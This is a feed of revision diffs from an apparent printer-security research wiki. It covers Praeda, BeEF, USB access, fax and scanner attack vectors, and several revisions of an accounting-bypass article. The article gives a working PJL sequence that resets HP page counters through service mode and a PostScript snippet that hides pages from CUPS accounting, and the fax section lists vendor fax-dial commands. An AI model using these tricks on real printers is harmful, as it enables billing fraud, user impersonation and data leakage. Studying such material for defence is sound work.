				<updated>2017-01-10T17:39:13Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Praeda is a ‘automated printer data harvesting tool’ written in Perl. It was developed to better understand the risks associated with multi-function printers, and to help penetration testers gather usable data during security assessment job. Praeda consists of several modules to exploit weaknesses in various printer models. Praeda systematically collects sensitive information from the printer's embedded web server. Besides exploiting vulnerabilities that lead to disclosure of device passwords, the tool gathers usernames and email addresses, which are often publicly available via the printer's web interface and can be used for further network penetration tests.&lt;br /&gt;
&lt;br /&gt;
== External links ==&lt;br /&gt;
&lt;br /&gt;
* [http://h.foofus.net/?page_id=218 Official website]&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Praeda&amp;diff=96</id>
		<title>Praeda</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Praeda&amp;diff=96"/>
				<updated>2017-01-10T17:38:09Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Praeda is a ‘automated printer data harvesting tool’ developed to better understand the risks associated with multi-function printers, and to help penetration testers gather usable data during security assessment job. Praeda consists of several modules to exploit weaknesses in various printer models. It systematically collects sensitive information from the printer's embedded web server. Besides exploiting vulnerabilities that lead to disclosure of device passwords, the Perl program gathers usernames and email addresses, which are often publicly available via the printer's web interface and can be used for further network penetration tests.&lt;br /&gt;
&lt;br /&gt;
== External links ==&lt;br /&gt;
&lt;br /&gt;
* [http://h.foofus.net/?page_id=218 Official website]&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Praeda&amp;diff=95</id>
		<title>Praeda</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Praeda&amp;diff=95"/>
				<updated>2017-01-10T17:36:54Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Praeda is a ‘automated printer data harvesting tool’ developed to better understand the risks associated with multi-function printers, and to help penetration testers gather usable data during security assessment job. Praeda consists of several modules to exploit weaknesses in various printer models. It systematically collects sensitive information from the printer's embedded web server. Besides exploiting vulnerabilities that lead to disclosure of device passwords, the tool gathers usernames and email addresses, which are often publicly available via the printer's web interface and can be used for further network penetration tests.&lt;br /&gt;
&lt;br /&gt;
== External links ==&lt;br /&gt;
&lt;br /&gt;
* [http://h.foofus.net/?page_id=218 Official website]&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=BeEF&amp;diff=94</id>
		<title>BeEF</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=BeEF&amp;diff=94"/>
				<updated>2017-01-10T17:22:26Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Browser Exploitation Framework (BeEF) is a penetration testing tool that focuses on the web browser. It allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. BeEF can hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.&lt;br /&gt;
&lt;br /&gt;
'''While BeEF itself is not about printers at all, it is the framework of choice to implement [[cross-site printing]] functionality.'''&lt;br /&gt;
&lt;br /&gt;
== External links ==&lt;br /&gt;
&lt;br /&gt;
* [http://beefproject.com/ Official website]&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=BeEF&amp;diff=93</id>
		<title>BeEF</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=BeEF&amp;diff=93"/>
				<updated>2017-01-10T17:21:54Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Browser Exploitation Framework (BeEF) is a penetration testing tool that focuses on the web browser. It allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. BeEF can hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''While BeEF itself is not about printers at all, it is the framework of choice to implement [[cross-site printing]] functionality.'''&lt;br /&gt;
&lt;br /&gt;
== External links ==&lt;br /&gt;
&lt;br /&gt;
* [http://beefproject.com/ Official website]&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=USB_drive_or_cable&amp;diff=92</id>
		<title>USB drive or cable</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=USB_drive_or_cable&amp;diff=92"/>
				<updated>2017-01-10T17:04:26Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Data can be send to and received from a local printer by [https://en.wikipedia.org/wiki/USB USB] or [https://en.wikipedia.org/wiki/IEEE_1284 parallel] cables. Both channels are supported by [[PRET]] to communicate with the device. In addition, printers and MFPs often ship with ''Type-A'' USB ports which allows users to print directly form a USB drive. While plugged-in USB drives do not offer a bidirectional channel, their usage in a crowded copy room may seem less conspicuous. Obviously, exploiting USB printers requires the attacker to gain physical access to the device. However, it is not completely unrealistic for most institutions and companies. Gaining physical access to printer can generally be considered as less hard than it is for other network components like servers or workstations. This is because printers are usually shared by and accessible to a whole department. Sneaking into an unlocked copy room and launching a malicious print job from USB stick is only a matter of seconds. Further real-world scenarios include copy shops or publicly available printers at schools and universities. &amp;lt;!-- and for PostScript based [[information disclosure]] attacks, the result can simply be leaked by printing it on paper --&amp;gt; &amp;lt;!-- smart card based access control --&amp;gt;&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Accounting_bypass&amp;diff=51</id>
		<title>Accounting bypass</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Accounting_bypass&amp;diff=51"/>
				<updated>2017-01-05T15:32:48Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Printing without permission can itself be a security risk or breach of company policy. In environments where print jobs are charged for an inside attacker has a motivation to bypass the accounting system. Typical examples range from copy shops to schools and universities where print quotas are to be enforced. Also, many companies keep track of the printer usage by each employee or by department. Besides free copies, breaking accounting and authentication systems can be used to discredit an employee for example by printing pornographic images under his name. Furthermore, being able to ‘print’ is a precondition for most attacks against network printers – therefore any restrictions need to be bypassed first.&lt;br /&gt;
&lt;br /&gt;
== Introduction to print job accounting ==&lt;br /&gt;
&lt;br /&gt;
There are two major approaches when it comes to print job accounting: Either let the printer handle it directly or use a print server in between. The first approach is vendor-specific, usually involves some kind of special ‘printer driver’ and is not further discussed here. The other approach involves a separate print server – usually a software implementation like [https://en.wikipedia.org/wiki/CUPS CUPS] or [https://en.wikipedia.org/wiki/LPRng LPRng] – to handle the accounting and is quite common in companies and institutions. The print server may speak LPD, IPP or further printing protocols and forwards jobs to the actual printer. '''It is important to note that direct network access to the printer must be restricted''', otherwise an attacker can easily bypass the print server and its accounting mechanisms. This not only means filtering access to the ports typically assigned to printing protocols, but also to less known printing channels like [https://en.wikipedia.org/wiki/File_Transfer_Protocol FTP] or the embedded web server which can often be abused to print as described in [[Network protocols]].&lt;br /&gt;
&lt;br /&gt;
There are basically two approaches to circumvent or trick print job accounting systems: either impersonate another user or manipulate the counter of printed pages. In the following both options are discussed for LPRng (v3.8.B) and CUPS (v2.1.4) installations which are popular open-source printing systems used in academic and corporate environments. A comparison of the security features of both systems is given below.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align:center&amp;quot;&lt;br /&gt;
|+ Security features of LPRng and CUPS&lt;br /&gt;
|-&lt;br /&gt;
! Printing system !! Protocol !! Encryption !! Authentication !! Page counter&lt;br /&gt;
|-&lt;br /&gt;
| LPRng || [[LPD]] || SSL/TLS || Kerberos, PGP || hardware&lt;br /&gt;
|-&lt;br /&gt;
| CUPS || [[IPP]] || SSL/TLS || Kerberos, HTTP || software&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Authentication bypasses ==&lt;br /&gt;
&lt;br /&gt;
LPRng and CUPS both offer SSL based channel encryption and secure authentication schemes like [https://en.wikipedia.org/wiki/Kerberos_(protocol) Kerberos], [https://en.wikipedia.org/wiki/Pretty_Good_Privacy PGP] signed print jobs or HTTP [https://en.wikipedia.org/wiki/Basic_access_authentication basic]/[https://en.wikipedia.org/wiki/Digest_access_authentication digest] authentication. If configured properly and in case the attacker cannot access the printer directly she will be not be able to impersonate other users. Those security features however are optional and rarely applied in the real-world print servers. Instead, the usernames given as LPD (LPRng) or IPP (CUPS) parameters are logged and accounted for – which can be set to arbitrary values by the client side. The reasons for this is a simple cost-benefit consideration in most institutions: Kerberos needs a special setup on every client and HTTP authentication requires users to enter a password whenever they want to print something while the costs of a few unaccounted printouts are bearable.&lt;br /&gt;
&lt;br /&gt;
== Page counter manipulation ==&lt;br /&gt;
&lt;br /&gt;
=== Hardware page counters ===&lt;br /&gt;
&lt;br /&gt;
For correct accounting the number of printed pages must be determined by the printing system which is not a trivial task as discussed in &amp;lt;ref&amp;gt;''[http://blog.cyrtech.de/sites/default/files/Counting%20Pages%20in%20Printer%20Data%20Streams%20%28D2%29.pdf Counting Pages in Printer Data Streams]'', J. Deußen, 2011&amp;lt;/ref&amp;gt;. The authors of LPRng ‘make the assumption that the printer has some sort of non-volatile page counter mechanism that is reliable and impervious to power on/off cycles’ &amp;lt;ref&amp;gt;''[http://web.mit.edu/ops/services/print/Attic/src/doc/LPRng-HOWTO-15.html Printer Accounting Reality Check]'', LPRng-HOWTO, P. Powell, 1995&amp;lt;/ref&amp;gt;. Such hardware page counters are supported by most printers and '''read''' by LPRng using PJL after every print job. HP has even documented a feature to '''write''' to the page counter variable &amp;lt;ref&amp;gt;''[https://h30434.www3.hp.com/psg/attachments/psg/PostPrint/141685/1/PJL%20commands-Druckerz%C3%A4hler%20setzen%20HP2015dn.pdf HP LaserJet Family Quick Reference Service Guide]'', HP Inc., 1999, p. 53&amp;lt;/ref&amp;gt; by setting the printer into service mode. This way, the page counter of the ''HP LaserJet 1200'', ''HP LaserJet 4200N'' and the ''HP LaserJet 4250N'' can be manipulated within a print job. At the end of the document to be printed and separated by the [UEL], the counter simply has to be reset to its original value (for example, &amp;lt;code&amp;gt;2342&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
  \x1b%-12345X@PJL JOB&lt;br /&gt;
  This page was printed for free&lt;br /&gt;
  \x1b%-12345X@PJL EOJ&lt;br /&gt;
  \x1b%-12345X@PJL JOB&lt;br /&gt;
  @PJL SET SERVICEMODE=HPBOISEID&lt;br /&gt;
  @PJL SET PAGES=2342&lt;br /&gt;
  \x1b%-12345X@PJL EOJ&lt;br /&gt;
&lt;br /&gt;
Based on the logic of the accounting software an attacker might even increase the balance of her account – which may be linked with other services like the canteen – by setting a negative number of printed pages. Note that resetting the device to [[Factory defaults]] also resets the page counter to zero on some of the tested devices, however this method is not suited if a certain value is desired. Lowering the page counter can also be used to sell a printer above its price as it can be compared to the odometer when buying a second-hand car. It is however worth emphasizing that resetting the page counter is not necessarily for malicious purposes: It is a well-known business model to sell overpriced ink for low-cost inkjet devices and block third-party refill kits by refusing to print after a certain number of pages – to handle such unethical practices it is absolutely legitimate to reset the page counter.&lt;br /&gt;
&lt;br /&gt;
=== Software page counters ===&lt;br /&gt;
&lt;br /&gt;
CUPS uses software page counters which have been implemented for all major page description languages. For PostScript, an easy way to bypass accounting is to check if the ''PageCount'' system parameter exists (which will return ''false'' when interpreted in CUPS/Ghostscript) before actually printing the document as shown below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=postscript&amp;gt;&lt;br /&gt;
  currentsystemparams (PageCount) known {&lt;br /&gt;
    &amp;lt;@\textit{[...] code which is only executed on a printer device [...]}@&amp;gt;&lt;br /&gt;
  } if&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This way, the accounting software used by CUPS renders a different document than the printer. CUPS only accounts for one page – which seems to be a hardcoded minimum – while the real print job can contain hundreds of pages. Note that using the IPP ‘raw’ queue/option is mandatory, otherwise CUPS parses the code with a PostScript-to-PostScript filter (Ghostscript's ps2write) before it reaches the page counter.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Manipulating hardware page counters with PJL or tricking software page counters with PostScript can be performed in all defined attacker models, however it deserves to be mentioned that only a local attacker (AM1) has an actual benefit of free hard copies.&lt;br /&gt;
&lt;br /&gt;
% number of copies vs. density&lt;br /&gt;
% http://unix.stackexchange.com/questions/101395/cups-and-printer-security/194532&lt;br /&gt;
% http://www.pykota.com/ | http://www.pykota.com/software/pkpgcounter for cups&lt;br /&gt;
% http://stackoverflow.com/questions/15628319/how-cups-printer-accounting-works&lt;br /&gt;
% http://www.cups.org/doc/accounting.html&lt;br /&gt;
% http://www.lprng.com/LPRng-HOWTO-Multipart/accountingref.html&lt;br /&gt;
% http://www.brunel.ac.uk/~tony/LPRng/LPRng-HOWTO-11.html&lt;br /&gt;
% http://lists.pykota.com/pipermail/pykota/2006-October/004177.html&lt;br /&gt;
 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
also: can we overwrite the pagecounter operator?&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Fax_and_Scanner&amp;diff=50</id>
		<title>Fax and Scanner</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Fax_and_Scanner&amp;diff=50"/>
				<updated>2017-01-05T15:08:20Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;While single function printers are still common there is clearly a trend towards multi-function printers/peripherals (MFP), also referred to as multi-function devices (MFD) or all-in-one (AiO) devices, which have additional built-in functions like scanning and/or telefax.&lt;br /&gt;
&lt;br /&gt;
== Telefax ==&lt;br /&gt;
&lt;br /&gt;
Fax messages are transmitted in the form of audio-frequency tones. They can be sent to any telefax-capable device available over the telephone system. Therefore, they could potentially be used to bypass typical company protection mechanisms like TCP/IP firewalls or intrusion detection systems and execute malicious commands on printers or MFPs in internal networks. In the middle of 90s Adobe introduced ‘PostScript fax’ as a language supplement &amp;lt;ref&amp;gt;''[http://ftp.ktug.org/obsolete/info/adobe/devtechnotes/pdffiles/ps2016.supplement.pdf PostScript Language Reference Manual Supplement for Version 2016]'', Adobe Systems Inc., 1995, p. 18-35&amp;lt;/ref&amp;gt;, allowing compatible devices to receive PostScript files directly via fax. This enables an attacker to use ordinary telephone system as a channel to deploy malicious PostScript code to a printer. Unfortunately, PostScript fax never established itself and was only implemented in a handful of devices. Telefax messages instead are typically transmitted as graphical images  like TIFF. Nevertheless, it cannot be ruled out that other vendors implement proprietary fax extensions to '''inbound''' receive arbitrary PDL datastreams instead of raw fax images. Theoretically, a ‘fax virus’ could be created which would spread by infecting other devices based on numbers from the MFPs's address book or by traditional wardialing.&lt;br /&gt;
&lt;br /&gt;
Furthermore, '''outbound''' fax can often be controlled by proprietary PJL commands on today's MFPs. This can be used to cause financial loss to an institution by calling an 0900 number (which may be registered by the attacker herself) or as a backchannel to leak sensitive information. Examples are given below (mostly untested).&lt;br /&gt;
&lt;br /&gt;
=== HP ===&lt;br /&gt;
&lt;br /&gt;
According to [http://hplipopensource.com] fax can be accessed using PML on HP devices.&lt;br /&gt;
&lt;br /&gt;
=== Xerox ===&lt;br /&gt;
&lt;br /&gt;
According to [http://www.office.xerox.com/support/dctips/dc02cc0280.pdf], Xerox uses proprietary PJL commands: &amp;lt;code&amp;gt;@PJL COMMENT OID_ATT_FAX_DESTINATION_PHONE &amp;quot;...&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brother ===&lt;br /&gt;
&lt;br /&gt;
According to [http://brother-mfc.sourceforge.net/faxlanguage.txt], Brother uses the proprietary FCL (Fax Control Language): &amp;lt;code&amp;gt;&amp;lt;Esc&amp;gt;DIALNUM[ (...) ]&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Lexmark ===&lt;br /&gt;
&lt;br /&gt;
According to [https://www.lexmark.com/publications/pdfs/techref_WB.pdf] Lexmark uses proprietary PJL commands: &amp;lt;code&amp;gt;@PJL LFAX PHONENUMBER=&amp;quot;...&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kyocera ===&lt;br /&gt;
&lt;br /&gt;
According to [http://material.karlov.mff.cuni.cz/people/hajek/bizhub/femperonpsc200mu.pl] Kyocera uses proprietary PJL commands: &amp;lt;code&amp;gt;@PJL SET FAXTEL = ...&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ricoh ===&lt;br /&gt;
&lt;br /&gt;
Accroding to [http://www.objectiflune.com/forum2/ubbthreads.php?ubb=showflat&amp;amp;Number=29462&amp;amp;page=1] Ricoh uses proprietary PJL commands:  &amp;lt;code&amp;gt;@PJL ENTER LANGUAGE=RFAX&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Scanner ==&lt;br /&gt;
&lt;br /&gt;
Access to scan functionality on MFPs is not standardized and it seems only few vendors apply PJL commands for this task. Public documentation is missing, the [http://www.sane-project.org/sane-backends.html#SCANNERS SANE project] managed to reverse engineer the protocols for various scanner devices. On Brother MFPs, the proprietary PostScript operator '''_brpdfscan''' may possibly be used.&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Accounting_bypass&amp;diff=49</id>
		<title>Accounting bypass</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Accounting_bypass&amp;diff=49"/>
				<updated>2017-01-05T14:57:51Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Printing without permission can itself be a security risk or breach of company policy. In environments where print jobs are charged for an inside attacker has a motivation to bypass the accounting system. Typical examples range from copy shops to schools and universities where print quotas are to be enforced. Also, many companies keep track of the printer usage by each employee or by department. Besides free copies, breaking accounting and authentication systems can be used to discredit an employee for example by printing pornographic images under his name. Furthermore, being able to ‘print’ is a precondition for most attacks against network printers – therefore any restrictions need to be bypassed first.&lt;br /&gt;
&lt;br /&gt;
== Introduction to print job accounting ==&lt;br /&gt;
&lt;br /&gt;
There are two major approaches when it comes to print job accounting: Either let the printer handle it directly or use a print server in between. The first approach is vendor-specific, usually involves some kind of special ‘printer driver’ and is not further discussed here. The other approach involves a separate print server – usually a software implementation like [https://en.wikipedia.org/wiki/CUPS CUPS] or [https://en.wikipedia.org/wiki/LPRng LPRng] – to handle the accounting and is quite common in companies and institutions. The print server may speak LPD, IPP or further printing protocols and forwards jobs to the actual printer. '''It is important to note that direct network access to the printer must be restricted''', otherwise an attacker can easily bypass the print server and its accounting mechanisms. This not only means filtering access to the ports typically assigned to printing protocols, but also to less known printing channels like [https://en.wikipedia.org/wiki/File_Transfer_Protocol FTP] or the embedded web server which can often be abused to print as described in [[Network protocols]].&lt;br /&gt;
&lt;br /&gt;
There are basically two approaches to circumvent or trick print job accounting systems: either impersonate another user or manipulate the counter of printed pages. In the following we discuss both options for LPRng (v3.8.B) and CUPS (v2.1.4) installations which are popular open-source printing systems used in academic and corporate environments. A comparison of the security features of both systems is given below.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align:center&amp;quot;&lt;br /&gt;
|+ Security features of LPRng and CUPS&lt;br /&gt;
|-&lt;br /&gt;
! Printing system !! Protocol !! Encryption !! Authentication !! Page counter&lt;br /&gt;
|-&lt;br /&gt;
| LPRng || [[LPD]] || SSL/TLS || Kerberos, PGP || hardware&lt;br /&gt;
|-&lt;br /&gt;
| CUPS || [[IPP]] || SSL/TLS || Kerberos, HTTP || software&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Authentication bypasses ==&lt;br /&gt;
&lt;br /&gt;
LPRng and CUPS both offer SSL based channel encryption and secure authentication schemes like [https://en.wikipedia.org/wiki/Kerberos_(protocol) Kerberos], [https://en.wikipedia.org/wiki/Pretty_Good_Privacy PGP] signed print jobs or HTTP [https://en.wikipedia.org/wiki/Basic_access_authentication basic]/[https://en.wikipedia.org/wiki/Digest_access_authentication digest] authentication. If configured properly and in case the attacker cannot access the printer directly she will be not be able to impersonate other users. Those security features however are optional and rarely applied in the real-world print servers. Instead, the usernames given as LPD (LPRng) or IPP (CUPS) parameters are logged and accounted for – which can be set to arbitrary values by the client side. The reasons for this is a simple cost-benefit consideration in most institutions: Kerberos needs a special setup on every client and HTTP authentication requires users to enter a password whenever they want to print something while the costs of a few unaccounted printouts are bearable.&lt;br /&gt;
&lt;br /&gt;
== Page counter manipulation ==&lt;br /&gt;
&lt;br /&gt;
=== Hardware page counters ===&lt;br /&gt;
&lt;br /&gt;
For correct accounting the number of printed pages must be determined by the printing system which is not a trivial task as discussed in &amp;lt;ref&amp;gt;Deußen, J., ''Counting Pages in Printer Data Streams'', (2011), \url{http://blog.cyrtech.de/sites/default/files/Counting%20Pages%20in%20Printer%20Data%20Streams%20%28D2%29.pdf}.&amp;lt;/ref&amp;gt;. The authors of LPRng ‘make the assumption that the printer has some sort of non-volatile page counter mechanism that is reliable and impervious to power on/off cycles’ &amp;lt;ref&amp;gt;Powell, P., ''Printer Accounting Reality Check'', (1995), http://web.mit.edu/ops/services/print/Attic/src/doc/LPRng-HOWTO-15.html.&amp;lt;/ref&amp;gt;. Such hardware page counters are supported by most printers read by LPRng using PJL after every print job. HP has even documented a feature to write to the page counter variable &amp;lt;ref&amp;gt;HP Inc., ''HP LaserJet Family Quick Reference Service Guide'', (1999), \url{https://h30434.www3.hp.com/psg/attachments/psg/PostPrint/141685/1/PJL%20commands-Druckerz%C3%A4hler%20setzen%20HP2015dn.pdf}.&amp;lt;/ref&amp;gt;. By setting the printer into service mode as previously explained we were able to manipulate the page counter of the ''HP LaserJet 1200'', ''HP LaserJet 4200N'', ''HP LaserJet 4250N''. At the end of the document to be printed and separated by the \acs{UEL}, the counter simply has to be reset to its original value (&amp;lt;code&amp;gt;2342&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Resetting the page counter on HP LaserJets:&lt;br /&gt;
&lt;br /&gt;
  \x1b%-12345X@PJL JOB&lt;br /&gt;
  This page was printed for free&lt;br /&gt;
  \x1b%-12345X@PJL EOJ&lt;br /&gt;
  \x1b%-12345X@PJL JOB&lt;br /&gt;
  @PJL SET SERVICEMODE=HPBOISEID&lt;br /&gt;
  @PJL SET PAGES=2342&lt;br /&gt;
  \x1b%-12345X@PJL EOJ&lt;br /&gt;
&lt;br /&gt;
Based on the logic of the accounting software an attacker might even increase the balance of her account – which may be linked with other services like the canteen – by setting a negative number of printed pages. Note that resetting the device to [[Factory defaults]] also resets the page counter to zero on some of the tested devices, however this method is not suited if a certain value is desired. Lowering the page counter can also be used to sell a printer above its price as it can be compared to the odometer when buying a second-hand car. It is however worth emphasizing that resetting the page counter is not necessarily for malicious purposes: It is a well-known business model to sell overpriced ink for low-cost inkjet devices and block third-party refill kits by refusing to print after a certain number of pages – to handle such unethical practices it is absolutely legitimate to reset the page counter.&lt;br /&gt;
&lt;br /&gt;
=== Software page counters ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
%CUPS create document containing more pages or higher density than analyzed by CUPS. Below we will briefly discuss how LPRng and CUPS try to solve the problem of accounting.&lt;br /&gt;
&lt;br /&gt;
% PostScript has access read access to the page counter, however on none of the devices we were able to set this value.&lt;br /&gt;
&lt;br /&gt;
CUPS uses software page counters which have been implemented for all major page description languages. For PostScript, an easy way to bypass accounting is to check if the ''PageCount'' system parameter exists before actually printing the document as shown below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=postscript&amp;gt;&lt;br /&gt;
  currentsystemparams (PageCount) known {&lt;br /&gt;
    &amp;lt;@\textit{[...] code which is only executed on a printer device [...]}@&amp;gt;&lt;br /&gt;
  } if&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This way, the accounting software used by CUPS renders a different document than the printer. In our tests, CUPS only accounted for one page – which seems to be a hardcoded minimum – while the real job can be hundreds of pages. Note that using the IPP ‘raw’ queue/option is mandatory, otherwise CUPS parses the code with a PostScript-to-PostScript filter before it reaches the page counter.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Manipulating hardware page counters with PJL or tricking software page counters with PostScript can be performed in all defined attacker models, however it deserves to be mentioned that only a local attacker (AM1) has an actual benefit of free hard copies.&lt;br /&gt;
&lt;br /&gt;
% number of copies vs. density&lt;br /&gt;
% http://unix.stackexchange.com/questions/101395/cups-and-printer-security/194532&lt;br /&gt;
% http://www.pykota.com/ | http://www.pykota.com/software/pkpgcounter for cups&lt;br /&gt;
% http://stackoverflow.com/questions/15628319/how-cups-printer-accounting-works&lt;br /&gt;
% http://www.cups.org/doc/accounting.html&lt;br /&gt;
% http://www.lprng.com/LPRng-HOWTO-Multipart/accountingref.html&lt;br /&gt;
% http://www.brunel.ac.uk/~tony/LPRng/LPRng-HOWTO-11.html&lt;br /&gt;
% http://lists.pykota.com/pipermail/pykota/2006-October/004177.html&lt;br /&gt;
 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
also: can we overwrite the pagecounter operator?&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Accounting_bypass&amp;diff=48</id>
		<title>Accounting bypass</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Accounting_bypass&amp;diff=48"/>
				<updated>2017-01-05T14:49:35Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Printing without permission can itself be a security risk or breach of company policy. In environments where print jobs are charged for an inside attacker has a motivation to bypass the accounting system. Typical examples range from copy shops to schools and universities where print quotas are to be enforced. Also, many companies keep track of the printer usage by each employee or by department. Besides free copies, breaking accounting and authentication systems can be used to discredit an employee for example by printing pornographic images under his name. Furthermore, being able to ‘print’ is a precondition for most attacks against network printers – therefore any restrictions need to be bypassed first.&lt;br /&gt;
&lt;br /&gt;
== Introduction to print job accounting ==&lt;br /&gt;
&lt;br /&gt;
There are two major approaches when it comes to print job accounting: Either let the printer handle it directly or use a print server in between. The first approach is vendor-specific, usually involves some kind of special ‘printer driver’ and is not further discussed here. The other approach involves a separate print server – usually a software implementation like [https://en.wikipedia.org/wiki/CUPS CUPS] or [https://en.wikipedia.org/wiki/LPRng LPRng] – to handle the accounting and is quite common in companies and institutions. The print server may speak LPD, IPP or further printing protocols and forwards jobs to the actual printer. '''It is important to note that direct network access to the printer must be restricted''', otherwise an attacker can easily bypass the print server and its accounting mechanisms. This not only means filtering access to the ports typically assigned to printing protocols, but also to less known printing channels like [https://en.wikipedia.org/wiki/File_Transfer_Protocol FTP] or the embedded web server which can often be abused to print as described in [[Network protocols]].&lt;br /&gt;
&lt;br /&gt;
There are basically two approaches to circumvent or trick print job accounting systems: either impersonate another user or manipulate the counter of printed pages. In the following we discuss both options for LPRng (v3.8.B) and CUPS (v2.1.4) installations which are popular open-source printing systems used in academic and corporate environments. A comparison of the security features of both systems is given below.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align:center&amp;quot;&lt;br /&gt;
|+ Security features of LPRng and CUPS&lt;br /&gt;
|-&lt;br /&gt;
! Printing system !! Protocol !! Encryption !! Authentication !! Page counter&lt;br /&gt;
|-&lt;br /&gt;
| LPRng || [[LPD]] || SSL/TLS || Kerberos, PGP || hardware&lt;br /&gt;
|-&lt;br /&gt;
| CUPS || [[IPP]] || SSL/TLS || Kerberos, HTTP || software&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Authentication bypasses ==&lt;br /&gt;
&lt;br /&gt;
LPRng and CUPS both offer SSL based channel encryption and secure authentication schemes like [https://en.wikipedia.org/wiki/Kerberos_(protocol) Kerberos], [https://en.wikipedia.org/wiki/Pretty_Good_Privacy PGP] signed print jobs or HTTP [https://en.wikipedia.org/wiki/Basic_access_authentication basic]/[https://en.wikipedia.org/wiki/Digest_access_authentication digest] authentication. If configured properly and in case the attacker cannot access the printer directly she will be not be able to impersonate other users. Those security features however are optional and rarely applied in the real-world print servers. Instead, the usernames given as LPD (LPRng) or IPP (CUPS) parameters are logged and accounted for – which can be set to arbitrary values by the client side. The reasons for this is a simple cost-benefit consideration in most institutions: Kerberos needs a special setup on every client and HTTP authentication requires users to enter a password whenever they want to print something while the costs of a few unaccounted printouts are bearable.&lt;br /&gt;
&lt;br /&gt;
== Page counter manipulation ==&lt;br /&gt;
&lt;br /&gt;
=== Hardware page counters ===&lt;br /&gt;
&lt;br /&gt;
